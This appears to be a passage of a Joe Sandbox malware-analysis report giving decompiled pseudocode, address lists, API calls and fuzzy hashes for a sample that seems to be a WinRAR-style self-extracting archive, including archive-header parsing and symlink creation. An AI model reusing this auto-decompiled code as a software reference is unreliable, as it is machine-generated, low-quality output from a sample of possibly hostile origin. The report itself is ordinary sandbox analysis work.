						E00265646(_t232 + ( *((intOrPtr*)(_t236 - 0x18)) + 9) * 2, _t236 - 0x2080);
						goto L19;
					}
				}
				if( *(_t236 - 0x10) != 0) {
					goto L27;
				}
				_t179 = E0024B772(_t191 + 0x1104);
				_t249 = _t179;
				if(_t179 != 0) {
					goto L27;
				}
				_push(_t191 + 0x1104);
				_push(_t223);
				_push(_t191 + 0x28);
				_push(_t227);
				if(E0024798B(_t217, _t249) == 0) {
					goto L27;
				}
				goto L9;
			}

0x00247165
0x0024716a
0x00247174
0x00247186
0x00247189
0x00247190
0x0024719a
0x0024719f
0x0024719f
0x002471aa
0x002471ad
0x002471b2
0x002471b5
0x002471cc
0x002471df
0x002471e2
0x002471ea
0x002471f6
0x002471fb
0x00247200
0x00247202
0x00247204
0x00247209
0x0024720d
0x0024721b
0x00247220
0x00247225
0x00247229
0x0024722a
0x00247231
0x00247237
0x00247237
0x00247225
0x0024723f
0x0024724b
0x00247250
0x00247256
0x00247259
0x00247263
0x0024729d
0x002472a0
0x002472a1
0x002472a2
0x002472ae
0x002472e5
0x002472eb
0x002472ed
0x00000000
0x00000000
0x00000000
0x002472b9
0x002472ca
0x002472d3
0x00247492
0x00247492
0x00247496
0x00247499
0x002474a7
0x002474b1
0x002474b1
0x002472da
0x002472f3
0x002472f3
0x002472fc
0x00247364
0x00247367
0x00247371
0x00247371
0x00247374
0x0024737c
0x00247382
0x00247385
0x00247390
0x00247396
0x002473a4
0x002473a9
0x002473ac
0x002473af
0x002473b8
0x002473cd
0x002473db
0x002473db
0x002473de
0x002473e1
0x002473f9
0x002473fb
0x00247401
0x00000000
0x00000000
0x0024741f
0x00247425
0x00247427
0x002474c2
0x002474d0
0x002474d4
0x002474d9
0x002474ea
0x002474fd
0x00247510
0x0024751b
0x00247526
0x0024752b
0x00247532
0x00247538
0x00247538
0x00247543
0x00000000
0x00247543
0x00247430
0x0024743b
0x00247440
0x00247449
0x00247459
0x00247460
0x00247468
0x00247468
0x00247459
0x00247474
0x0024747d
0x00247489
0x0024748a
0x002474b4
0x0024748c
0x0024748c
0x0024748c
0x00000000
0x0024748a
0x00247369
0x0024736b
0x00000000
0x00000000
0x00000000
0x0024736b
0x002472fe
0x00247301
0x00247309
0x0024730f
0x00247312
0x0024731d
0x00247323
0x00247331
0x00247336
0x00247339
0x0024733c
0x00247345
0x0024735a
0x00000000
0x0024735f
0x002472ae
0x00247269
0x00000000
0x00000000
0x00247276
0x0024727b
0x0024727d
0x00000000
0x00000000
0x00247289
0x0024728a
0x0024728e
0x0024728f
0x00247297
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0024716A
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 002472CA
CloseHandle.KERNEL32(00000000), ref: 002472DA

Part of subcall function 00247BCE: GetCurrentProcess.KERNEL32(00000020,?), ref: 00247BDD
Part of subcall function 00247BCE: GetLastError.KERNEL32 ref: 00247C23
Part of subcall function 00247BCE: CloseHandle.KERNEL32(?), ref: 00247C32

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 002472E5
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 002473F3
DeviceIoControl.KERNEL32 ref: 0024741F
CloseHandle.KERNEL32(?), ref: 00247430
GetLastError.KERNEL32(00000015,00000000,?), ref: 00247440
RemoveDirectoryW.KERNEL32(?), ref: 0024748C
DeleteFileW.KERNEL32(?), ref: 002474B4

Strings

SeRestorePrivilege, xrefs: 0024718B
SeCreateSymbolicLinkPrivilege, xrefs: 00247195
UNC\, xrefs: 00247215
\??\, xrefs: 002471F0

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: a902358494889d7748e2f81b16b3845d8004019605f569eedfbfec99616c4802
Instruction ID: 7b456fbd70b28ad16bbca89af35b1ecaa7ed9c648b999426c73872f993c89e90
Opcode Fuzzy Hash: a902358494889d7748e2f81b16b3845d8004019605f569eedfbfec99616c4802
Instruction Fuzzy Hash: AAB1D171924215AADF28DF60CC45FEEB7B8FF04300F144069F959E7142DB74AA98CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00259D9A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00259D9A(WCHAR* _a4) {
				char _v4;
				char _v8;
				char _v20;
				intOrPtr* _v28;
				void* __ecx;
				struct HRSRC__* _t14;
				char _t16;
				void* _t17;
				void* _t18;
				intOrPtr* _t26;
				char* _t33;
				void* _t35;
				void* _t37;
				intOrPtr* _t38;
				long _t44;
				intOrPtr* _t46;
				struct HRSRC__* _t47;

				_t14 = FindResourceW( *0x27fed0, _a4, "PNG");
				_t47 = _t14;
				if(_t47 == 0) {
					return _t14;
				}
				_t44 = SizeofResource( *0x27fed0, _t47);
				if(_t44 == 0) {
					L4:
					_t16 = 0;
					L16:
					return _t16;
				}
				_t17 = LoadResource( *0x27fed0, _t47);
				if(_t17 == 0) {
					goto L4;
				}
				_t18 = LockResource(_t17);
				_t48 = _t18;
				if(_t18 != 0) {
					_v4 = 0;
					_t35 = GlobalAlloc(2, _t44);
					if(_t35 == 0) {
						L15:
						_t16 = _v4;
						goto L16;
					}
					if(GlobalLock(_t35) == 0) {
						L14:
						GlobalFree(_t35);
						goto L15;
					}
					E0025F300(_t20, _t48, _t44);
					_v8 = 0;
					_push( &_v8);
					_push(0);
					_push(_t35);
					if( *0x2a1178() == 0) {
						_t26 = E00259D2F(_t24, _t37, _v20, 0);
						_t38 = _v28;
						_t46 = _t26;
						 *0x272260(_t38);
						 *((intOrPtr*)( *((intOrPtr*)( *_t38 + 8))))();
						if(_t46 != 0) {
							 *((intOrPtr*)(_t46 + 8)) = 0;
							if( *((intOrPtr*)(_t46 + 8)) == 0) {
								_push(0xffffff);
								_t33 =  &_v20;
								_push(_t33);
								_push( *((intOrPtr*)(_t46 + 4)));
								L0025E08E();
								if(_t33 != 0) {
									 *((intOrPtr*)(_t46 + 8)) = _t33;
								}
							}
							 *0x272260(1);
							 *((intOrPtr*)( *((intOrPtr*)( *_t46))))();
						}
					}
					GlobalUnlock(_t35);
					goto L14;
				}
				goto L4;
			}

0x00259dac
0x00259db2
0x00259db6
0x00259eb0
0x00259eb0
0x00259dca
0x00259dce
0x00259dee
0x00259dee
0x00259eac
0x00000000
0x00259eac
0x00259dd7
0x00259ddf
0x00000000
0x00000000
0x00259de2
0x00259de8
0x00259dec
0x00259dfc
0x00259e06
0x00259e0a
0x00259ea6
0x00259ea6
0x00000000
0x00259eab
0x00259e19
0x00259e9f
0x00259ea0
0x00000000
0x00259ea0
0x00259e22
0x00259e2a
0x00259e32
0x00259e33
0x00259e34
0x00259e3d
0x00259e44
0x00259e49
0x00259e4d
0x00259e57
0x00259e5d
0x00259e61
0x00259e66
0x00259e6b
0x00259e6d
0x00259e72
0x00259e76
0x00259e77
0x00259e7a
0x00259e81
0x00259e83
0x00259e83
0x00259e81
0x00259e8e
0x00259e96
0x00259e96
0x00259e61
0x00259e99
0x00000000
0x00259e99
0x00000000

APIs

FindResourceW.KERNEL32(0025AD89,PNG,?,?,?,0025AD89,00000066), ref: 00259DAC
SizeofResource.KERNEL32(00000000,00000000,?,?,?,0025AD89,00000066), ref: 00259DC4
LoadResource.KERNEL32(00000000,?,?,?,0025AD89,00000066), ref: 00259DD7
LockResource.KERNEL32(00000000,?,?,?,0025AD89,00000066), ref: 00259DE2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,0025AD89,00000066), ref: 00259E00
GlobalLock.KERNEL32 ref: 00259E11
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00259E7A
GlobalUnlock.KERNEL32(00000000), ref: 00259E99
GlobalFree.KERNEL32 ref: 00259EA0

Strings

PNG, xrefs: 00259D9D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: GlobalResource$Lock$AllocBitmapCreateFindFreeFromGdipLoadSizeofUnlock
String ID: PNG
API String ID: 4097654274-364855578
Opcode ID: 15ebe052d68feb7507d8702478247c2bad2b7ec0ad2bbf3b84daedb450ead0d8
Instruction ID: c5c8a02cd1d7a1f000d26fa7ab194f01edee21795ef4795603487d31215a7ea9
Opcode Fuzzy Hash: 15ebe052d68feb7507d8702478247c2bad2b7ec0ad2bbf3b84daedb450ead0d8
Instruction Fuzzy Hash: C7318F72614316EFC7119F21EC4D92BBBADFF85752B040929FD09D2261EB31DC98CA64

Uniqueness

Uniqueness Score: -1.00%

Function 0024326D Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 608
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E0024326D(intOrPtr* __ecx, void* __eflags) {
				void* __ebp;
				signed int _t242;
				void* _t248;
				unsigned int _t250;
				signed int _t254;
				signed int _t255;
				unsigned int _t256;
				void* _t257;
				char _t270;
				signed int _t289;
				unsigned int _t290;
				intOrPtr _t291;
				signed int _t292;
				signed int _t295;
				char _t302;
				signed char _t304;
				signed int _t320;
				signed int _t331;
				signed int _t335;
				signed int _t350;
				signed char _t352;
				unsigned int _t362;
				void* _t379;
				void* _t381;
				void* _t382;
				void* _t393;
				intOrPtr* _t395;
				intOrPtr* _t397;
				signed int _t410;
				signed int _t420;
				char _t432;
				signed int _t433;
				signed int _t438;
				signed int _t442;
				intOrPtr _t450;
				unsigned int _t456;
				unsigned int _t459;
				signed int _t463;
				signed int _t471;
				signed int _t480;
				signed int _t485;
				signed int _t500;
				intOrPtr _t501;
				signed int _t502;
				signed char _t503;
				unsigned int _t504;
				void* _t511;
				void* _t519;
				signed int _t522;
				void* _t523;
				signed int _t533;
				unsigned int _t536;
				void* _t541;
				intOrPtr _t546;
				void* _t547;
				void* _t548;
				void* _t549;
				intOrPtr _t559;

				_t397 = __ecx;
				_t549 = _t548 - 0x68;
				E0025E0E4(E00271B41, _t547);
				E0025E1C0();
				_t395 = _t397;
				E0024C4A5(_t547 + 0x30, _t395);
				 *(_t547 + 0x60) = 0;
				 *((intOrPtr*)(_t547 - 4)) = 0;
				if( *((intOrPtr*)(_t395 + 0x6cbc)) == 0) {
					L15:
					 *((char*)(_t547 + 0x6a)) = 0;
					L16:
					_push(7);
					if(E0024C6B0() >= 7) {
						 *(_t395 + 0x21f4) = 0;
						_t511 = _t395 + 0x21e4;
						 *_t511 = E0024C520(_t547 + 0x30);
						_t533 = E0024C68C(_t547 + 0x30, 4);
						_t242 = E0024C620(_t500);
						__eflags = _t242 | _t500;
						if((_t242 | _t500) == 0) {
							L85:
							E0024203A(_t395);
							L86:
							E002415D1(_t547 + 0x30);
							 *[fs:0x0] =  *((intOrPtr*)(_t547 - 0xc));
							return  *(_t547 + 0x60);
						}
						__eflags = _t533;
						if(_t533 == 0) {
							goto L85;
						}
						_t42 = _t533 - 3; // -3
						_t536 = _t533 + 4 + _t242;
						_t410 = _t42 + _t242;
						__eflags = _t410;
						 *(_t547 + 0x64) = _t536;
						if(_t410 < 0) {
							goto L85;
						}
						__eflags = _t536 - 7;
						if(_t536 < 7) {
							goto L85;
						}
						_push(_t410);
						E0024C6B0();
						__eflags =  *(_t547 + 0x48) - _t536;
						if( *(_t547 + 0x48) < _t536) {
							goto L17;
						}
						_t248 = E0024C600(_t547 + 0x30);
						 *(_t395 + 0x21e8) = E0024C620(_t500);
						_t250 = E0024C620(_t500);
						 *(_t395 + 0x21ec) = _t250;
						__eflags =  *_t511 - _t248;
						 *(_t395 + 0x21f4) = _t250 >> 0x00000002 & 0x00000001;
						 *(_t395 + 0x21f0) =  *(_t547 + 0x64);
						_t254 =  *(_t395 + 0x21e8);
						 *(_t395 + 0x21dc) = _t254;
						_t255 = _t254 & 0xffffff00 |  *_t511 != _t248;
						 *(_t547 + 0x6b) = _t255;
						__eflags = _t255;
						if(_t255 == 0) {
							L26:
							_t256 = 0;
							__eflags =  *(_t395 + 0x21ec) & 0x00000001;
							 *(_t547 + 0x58) = 0;
							 *(_t547 + 0x54) = 0;
							if(( *(_t395 + 0x21ec) & 0x00000001) == 0) {
								L30:
								__eflags =  *(_t395 + 0x21ec) & 0x00000002;
								_t538 = _t256;
								 *(_t547 + 0x64) = _t256;
								 *(_t547 + 0x5c) = _t256;
								if(( *(_t395 + 0x21ec) & 0x00000002) != 0) {
									_t362 = E0024C620(_t500);
									_t538 = _t362;
									 *(_t547 + 0x64) = _t362;
									 *(_t547 + 0x5c) = _t500;
								}
								_t257 = E00241954(_t395,  *(_t395 + 0x21f0));
								_t501 = 0;
								asm("adc eax, edx");
								 *((intOrPtr*)(_t395 + 0x6ca8)) = E00243E3C( *((intOrPtr*)(_t395 + 0x6ca0)) + _t257,  *((intOrPtr*)(_t395 + 0x6ca4)), _t538,  *(_t547 + 0x5c), _t501, _t501);
								 *((intOrPtr*)(_t395 + 0x6cac)) = _t501;
								_t502 =  *(_t395 + 0x21e8);
								__eflags = _t502 - 1;
								if(__eflags == 0) {
									E0024AC0C(_t395 + 0x2208);
									_t420 = 5;
									memcpy(_t395 + 0x2208, _t511, _t420 << 2);
									_t503 = E0024C620(_t502);
									 *(_t395 + 0x6cb5) = _t503 & 1;
									 *(_t395 + 0x6cb4) = _t503 >> 0x00000002 & 1;
									 *(_t395 + 0x6cb7) = _t503 >> 0x00000004 & 1;
									_t432 = 1;
									 *((char*)(_t395 + 0x6cba)) = 1;
									 *(_t395 + 0x6cbb) = _t503 >> 0x00000003 & 1;
									_t270 = 0;
									 *((char*)(_t395 + 0x6cb8)) = 0;
									__eflags = _t503 & 0x00000002;
									if((_t503 & 0x00000002) == 0) {
										 *((intOrPtr*)(_t395 + 0x6cd8)) = 0;
									} else {
										 *((intOrPtr*)(_t395 + 0x6cd8)) = E0024C620(_t503);
										_t270 = 0;
										_t432 = 1;
									}
									__eflags =  *(_t395 + 0x6cb5);
									if( *(_t395 + 0x6cb5) == 0) {
										L81:
										_t432 = _t270;
										goto L82;
									} else {
										__eflags =  *((intOrPtr*)(_t395 + 0x6cd8)) - _t270;
										if( *((intOrPtr*)(_t395 + 0x6cd8)) == _t270) {
											L82:
											 *((char*)(_t395 + 0x6cb9)) = _t432;
											_t433 =  *(_t547 + 0x58);
											__eflags = _t433 |  *(_t547 + 0x54);
											if((_t433 |  *(_t547 + 0x54)) != 0) {
												E0024214E(_t395, _t547 + 0x30, _t433, _t395 + 0x2208);
											}
											L84:
											 *(_t547 + 0x60) =  *(_t547 + 0x48);
											goto L86;
										}
										goto L81;
									}
								}
								if(__eflags <= 0) {
									goto L84;
								}
								__eflags = _t502 - 3;
								if(_t502 <= 3) {
									__eflags = _t502 - 2;
									_t120 = (0 | _t502 != 0x00000002) - 1; // -1
									_t519 = (_t120 & 0xffffdcb0) + 0x45d0 + _t395;
									 *(_t547 + 0x2c) = _t519;
									E0024AB72(_t519, 0);
									_t438 = 5;
									memcpy(_t519, _t395 + 0x21e4, _t438 << 2);
									_t541 =  *(_t547 + 0x2c);
									 *(_t547 + 0x60) =  *(_t395 + 0x21e8);
									 *(_t541 + 0x1058) =  *(_t547 + 0x64);
									 *((char*)(_t541 + 0x10f9)) = 1;
									 *(_t541 + 0x105c) =  *(_t547 + 0x5c);
									 *(_t541 + 0x1094) = E0024C620(_t502);
									 *(_t541 + 0x1060) = E0024C620(_t502);
									_t289 =  *(_t541 + 0x1094) >> 0x00000003 & 0x00000001;
									__eflags = _t289;
									 *(_t541 + 0x1064) = _t502;
									 *(_t541 + 0x109a) = _t289;
									if(_t289 != 0) {
										 *(_t541 + 0x1060) = 0x7fffffff;
										 *(_t541 + 0x1064) = 0x7fffffff;
									}
									_t442 =  *(_t541 + 0x105c);
									_t522 =  *(_t541 + 0x1064);
									_t290 =  *(_t541 + 0x1058);
									_t504 =  *(_t541 + 0x1060);
									__eflags = _t442 - _t522;
									if(__eflags < 0) {
										L51:
										_t290 = _t504;
										_t442 = _t522;
										goto L52;
									} else {
										if(__eflags > 0) {
											L52:
											 *(_t541 + 0x106c) = _t442;
											 *(_t541 + 0x1068) = _t290;
											_t291 = E0024C620(_t504);
											__eflags =  *(_t541 + 0x1094) & 0x00000002;
											 *((intOrPtr*)(_t541 + 0x24)) = _t291;
											if(( *(_t541 + 0x1094) & 0x00000002) != 0) {
												E00250D1D(_t541 + 0x1040, _t504, E0024C520(_t547 + 0x30), 0);
											}
											 *(_t541 + 0x1070) =  *(_t541 + 0x1070) & 0x00000000;
											__eflags =  *(_t541 + 0x1094) & 0x00000004;
											if(( *(_t541 + 0x1094) & 0x00000004) != 0) {
												 *(_t541 + 0x1070) = 2;
												 *((intOrPtr*)(_t541 + 0x1074)) = E0024C520(_t547 + 0x30);
											}
											 *(_t541 + 0x1100) =  *(_t541 + 0x1100) & 0x00000000;
											_t292 = E0024C620(_t504);
											 *(_t547 + 0x64) = _t292;
											 *(_t541 + 0x20) = _t292 >> 0x00000007 & 0x00000007;
											_t450 = (_t292 & 0x0000003f) + 0x32;
											 *((intOrPtr*)(_t541 + 0x1c)) = _t450;
											__eflags = _t450 - 0x32;
											if(_t450 != 0x32) {
												 *((intOrPtr*)(_t541 + 0x1c)) = 0x270f;
											}
											 *((char*)(_t541 + 0x18)) = E0024C620(_t504);
											_t523 = E0024C620(_t504);
											 *(_t541 + 0x10fc) = 2;
											_t295 =  *((intOrPtr*)(_t541 + 0x18));
											 *(_t541 + 0x10f8) =  *(_t395 + 0x21ec) >> 0x00000006 & 1;
											__eflags = _t295 - 1;
											if(_t295 != 1) {
												__eflags = _t295;
												if(_t295 == 0) {
													_t177 = _t541 + 0x10fc;
													 *_t177 =  *(_t541 + 0x10fc) & 0x00000000;
													__eflags =  *_t177;
												}
											} else {
												 *(_t541 + 0x10fc) = 1;
											}
											_t456 =  *(_t541 + 8);
											 *(_t541 + 0x1098) = _t456 >> 0x00000003 & 1;
											 *(_t541 + 0x10fa) = _t456 >> 0x00000005 & 1;
											__eflags =  *(_t547 + 0x60) - 2;
											_t459 =  *(_t547 + 0x64);
											 *(_t541 + 0x1099) = _t456 >> 0x00000004 & 1;
											if( *(_t547 + 0x60) != 2) {
												L65:
												_t302 = 0;
												__eflags = 0;
												goto L66;
											} else {
												__eflags = _t459 & 0x00000040;
												if((_t459 & 0x00000040) == 0) {
													goto L65;
												}
												_t302 = 1;
												L66:
												 *((char*)(_t541 + 0x10f0)) = _t302;
												_t304 =  *(_t541 + 0x1094) & 1;
												 *(_t541 + 0x10f1) = _t304;
												asm("sbb eax, eax");
												 *(_t541 + 0x10f4) =  !( ~(_t304 & 0x000000ff)) & 0x00020000 << (_t459 >> 0x0000000a & 0x0000000f);
												asm("sbb eax, eax");
												 *(_t541 + 0x109c) =  ~( *(_t541 + 0x109b) & 0x000000ff) & 0x00000005;
												__eflags = _t523 - 0x1fff;
												if(_t523 >= 0x1fff) {
													_t523 = 0x1fff;
												}
												E0024C582(_t547 + 0x30, _t547 - 0x2074, _t523);
												 *((char*)(_t547 + _t523 - 0x2074)) = 0;
												_push(0x800);
												_t524 = _t541 + 0x28;
												_push(_t541 + 0x28);
												_push(_t547 - 0x2074);
												E0025138C();
												_t463 =  *(_t547 + 0x58);
												__eflags = _t463 |  *(_t547 + 0x54);
												if((_t463 |  *(_t547 + 0x54)) != 0) {
													E0024214E(_t395, _t547 + 0x30, _t463, _t541);
												}
												_t319 =  *(_t547 + 0x60);
												__eflags =  *(_t547 + 0x60) - 2;
												if( *(_t547 + 0x60) != 2) {
													L72:
													_t320 = E00263429(_t319, _t524, L"CMT");
													__eflags = _t320;
													if(_t320 == 0) {
														 *((char*)(_t395 + 0x6cb6)) = 1;
													}
													goto L74;
												} else {
													E0024207F(_t395, _t541);
													_t319 =  *(_t547 + 0x60);
													__eflags =  *(_t547 + 0x60) - 2;
													if( *(_t547 + 0x60) == 2) {
														L74:
														__eflags =  *(_t547 + 0x6b);
														if(__eflags != 0) {
															E00247032(__eflags, 0x1c, _t395 + 0x1e, _t524);
														}
														goto L84;
													}
													goto L72;
												}
											}
										}
										__eflags = _t290 - _t504;
										if(_t290 > _t504) {
											goto L52;
										}
										goto L51;
									}
								}
								__eflags = _t502 - 4;
								if(_t502 == 4) {
									_t471 = 5;
									memcpy(_t395 + 0x2248, _t395 + 0x21e4, _t471 << 2);
									_t331 = E0024C620(_t502);
									__eflags = _t331;
									if(_t331 == 0) {
										 *(_t395 + 0x225c) = E0024C620(_t502) & 0x00000001;
										_t335 = E0024C4D3(_t547 + 0x30) & 0x000000ff;
										 *(_t395 + 0x2260) = _t335;
										__eflags = _t335 - 0x18;
										if(_t335 <= 0x18) {
											E0024C582(_t547 + 0x30, _t395 + 0x2264, 0x10);
											__eflags =  *(_t395 + 0x225c);
											if( *(_t395 + 0x225c) != 0) {
												E0024C582(_t547 + 0x30, _t395 + 0x2274, 8);
												E0024C582(_t547 + 0x30, _t547 + 0x64, 4);
												E0024F807(_t547 - 0x74);
												E0024F84D(_t547 - 0x74, _t395 + 0x2274, 8);
												_push(_t547 + 8);
												E0024F716(_t547 - 0x74);
												_t350 = E0025FC4A(_t547 + 0x64, _t547 + 8, 4);
												asm("sbb al, al");
												_t352 =  ~_t350 + 1;
												__eflags = _t352;
												 *(_t395 + 0x225c) = _t352;
											}
											 *((char*)(_t395 + 0x6cbc)) = 1;
											goto L84;
										}
										_push(_t335);
										_push(L"hc%u");
										L40:
										_push(0x14);
										_push(_t547);
										E00243FD6();
										E00243F81(_t395, _t395 + 0x1e, _t547);
										goto L86;
									}
									_push(_t331);
									_push(L"h%u");
									goto L40;
								}
								__eflags = _t502 - 5;
								if(_t502 == 5) {
									_t480 = _t502;
									memcpy(_t395 + 0x4590, _t395 + 0x21e4, _t480 << 2);
									 *(_t395 + 0x45ac) = E0024C620(_t502) & 0x00000001;
									 *((short*)(_t395 + 0x45ae)) = 0;
									 *((char*)(_t395 + 0x45ad)) = 0;
								}
								goto L84;
							}
							_t485 = E0024C620(_t500);
							 *(_t547 + 0x54) = _t500;
							_t256 = 0;
							 *(_t547 + 0x58) = _t485;
							__eflags = _t500;
							if(__eflags < 0) {
								goto L30;
							}
							if(__eflags > 0) {
								goto L85;
							}
							__eflags = _t485 -  *(_t395 + 0x21f0);
							if(_t485 >=  *(_t395 + 0x21f0)) {
								goto L85;
							}
							goto L30;
						}
						E0024203A(_t395);
						 *((char*)(_t395 + 0x6cc4)) = 1;
						E00246F5B(0x27ff50, 3);
						__eflags =  *((char*)(_t547 + 0x6a));
						if(__eflags == 0) {
							goto L26;
						} else {
							E00247032(__eflags, 4, _t395 + 0x1e, _t395 + 0x1e);
							 *((char*)(_t395 + 0x6cc5)) = 1;
							goto L86;
						}
					}
					L17:
					E00243F40(_t395, _t500);
					goto L86;
				}
				_t500 =  *((intOrPtr*)(_t395 + 0x6cc0)) + 8;
				asm("adc eax, ecx");
				_t559 =  *((intOrPtr*)(_t395 + 0x6ca4));
				if(_t559 < 0 || _t559 <= 0 &&  *((intOrPtr*)(_t395 + 0x6ca0)) <= _t500) {
					goto L15;
				} else {
					 *((char*)(_t547 + 0x6a)) = 1;
					 *0x272260(_t547 + 0x18, 0x10);
					if( *((intOrPtr*)( *((intOrPtr*)( *_t395 + 0xc))))() != 0x10) {
						goto L17;
					}
					if( *((char*)( *((intOrPtr*)(_t395 + 0x21bc)) + 0x5124)) != 0) {
						L7:
						 *(_t547 + 0x6b) = 1;
						L8:
						E00243DC9(_t395);
						_t531 = _t395 + 0x2264;
						_t546 = _t395 + 0x1024;
						E00246219(_t546, 0, 5,  *((intOrPtr*)(_t395 + 0x21bc)) + 0x5024, _t395 + 0x2264, _t547 + 0x18,  *(_t395 + 0x2260), 0, _t547 + 0x28);
						if( *(_t395 + 0x225c) == 0) {
							L13:
							 *((intOrPtr*)(_t547 + 0x50)) = _t546;
							goto L16;
						} else {
							_t379 = _t395 + 0x2274;
							while(1) {
								_t381 = E0025FC4A(_t547 + 0x28, _t379, 8);
								_t549 = _t549 + 0xc;
								if(_t381 == 0) {
									goto L13;
								}
								_t566 =  *(_t547 + 0x6b);
								_t382 = _t395 + 0x1e;
								_push(_t382);
								_push(_t382);
								if( *(_t547 + 0x6b) != 0) {
									_push(6);
									E00247032(__eflags);
									 *((char*)(_t395 + 0x6cc5)) = 1;
									E00246F5B(0x27ff50, 0xb);
									goto L86;
								}
								_push(0x7d);
								E00247032(_t566);
								E0024EA67( *((intOrPtr*)(_t395 + 0x21bc)) + 0x5024);
								E00243DC9(_t395);
								E00246219(_t546, 0, 5,  *((intOrPtr*)(_t395 + 0x21bc)) + 0x5024, _t531, _t547 + 0x18,  *(_t395 + 0x2260), 0, _t547 + 0x28);
								_t379 = _t395 + 0x2274;
								if( *(_t395 + 0x225c) != 0) {
									continue;
								}
								goto L13;
							}
							goto L13;
						}
					}
					_t393 = E002512B2();
					 *(_t547 + 0x6b) = 0;
					if(_t393 == 0) {
						goto L8;
					}
					goto L7;
				}
			}

0x0024326d
0x0024326e
0x00243276
0x00243280
0x00243287
0x0024328e
0x00243295
0x00243298
0x002432a1
0x002433f4
0x002433f4
0x002433f7
0x002433f7
0x00243404
0x00243415
0x0024341c
0x0024342c
0x00243436
0x00243438
0x0024343f
0x00243441
0x00243a71
0x00243a73
0x00243a78
0x00243a7b
0x00243a89
0x00243a94
0x00243a94
0x00243447
0x00243449
0x00000000
0x00000000
0x0024344f
0x00243455
0x00243457
0x00243457
0x00243459
0x0024345c
0x00000000
0x00000000
0x00243462
0x00243465
0x00000000
0x00000000
0x0024346b
0x0024346f
0x00243474
0x00243477
0x00000000
0x00000000
0x0024347c
0x0024348e
0x00243494
0x00243499
0x002434a4
0x002434a6
0x002434af
0x002434b5
0x002434bb
0x002434c1
0x002434c4
0x002434c7
0x002434c9
0x00243503
0x00243503
0x00243505
0x0024350c
0x0024350f
0x00243512
0x0024353c
0x0024353c
0x00243543
0x00243545
0x00243548
0x0024354b
0x00243550
0x00243555
0x00243557
0x0024355a
0x0024355a
0x00243565
0x00243572
0x00243581
0x0024358a
0x00243592
0x00243599
0x0024359f
0x002435a1
0x002439b2
0x002439c1
0x002439c2
0x002439cc
0x002439d5
0x002439e2
0x002439f1
0x002439fc
0x002439ff
0x00243a05
0x00243a0b
0x00243a0d
0x00243a13
0x00243a16
0x00243a2d
0x00243a18
0x00243a20
0x00243a28
0x00243a2a
0x00243a2a
0x00243a33
0x00243a3a
0x00243a44
0x00243a44
0x00000000
0x00243a3c
0x00243a3c
0x00243a42
0x00243a46
0x00243a46
0x00243a4c
0x00243a51
0x00243a54
0x00243a64
0x00243a64
0x00243a69
0x00243a6c
0x00000000
0x00243a6c
0x00000000
0x00243a42
0x00243a3a
0x002435a7
0x00000000
0x00000000
0x002435ad
0x002435b0
0x002436f2
0x002436fa
0x00243709
0x0024370d
0x00243710
0x00243717
0x0024371e
0x00243729
0x0024372c
0x00243732
0x0024373b
0x00243742
0x00243750
0x0024375b
0x0024376a
0x0024376a
0x0024376c
0x00243772
0x00243778
0x0024377f
0x00243785
0x00243785
0x0024378b
0x00243791
0x00243797
0x0024379d
0x002437a3
0x002437a5
0x002437ad
0x002437ad
0x002437af
0x00000000
0x002437a7
0x002437a7
0x002437b1
0x002437b1
0x002437ba
0x002437c0
0x002437c5
0x002437cc
0x002437cf
0x002437e2
0x002437e2
0x002437e7
0x002437ee
0x002437f5
0x002437fa
0x00243809
0x00243809
0x0024380f
0x00243819
0x00243820
0x00243829
0x00243831
0x00243834
0x00243837
0x0024383a
0x0024383c
0x0024383c
0x0024384e
0x00243862
0x00243864
0x0024386e
0x00243873
0x00243879
0x0024387b
0x00243885
0x00243887
0x00243889
0x00243889
0x00243889
0x00243889
0x0024387d
0x0024387d
0x0024387d
0x00243890
0x0024389a
0x002438ac
0x002438b2
0x002438b6
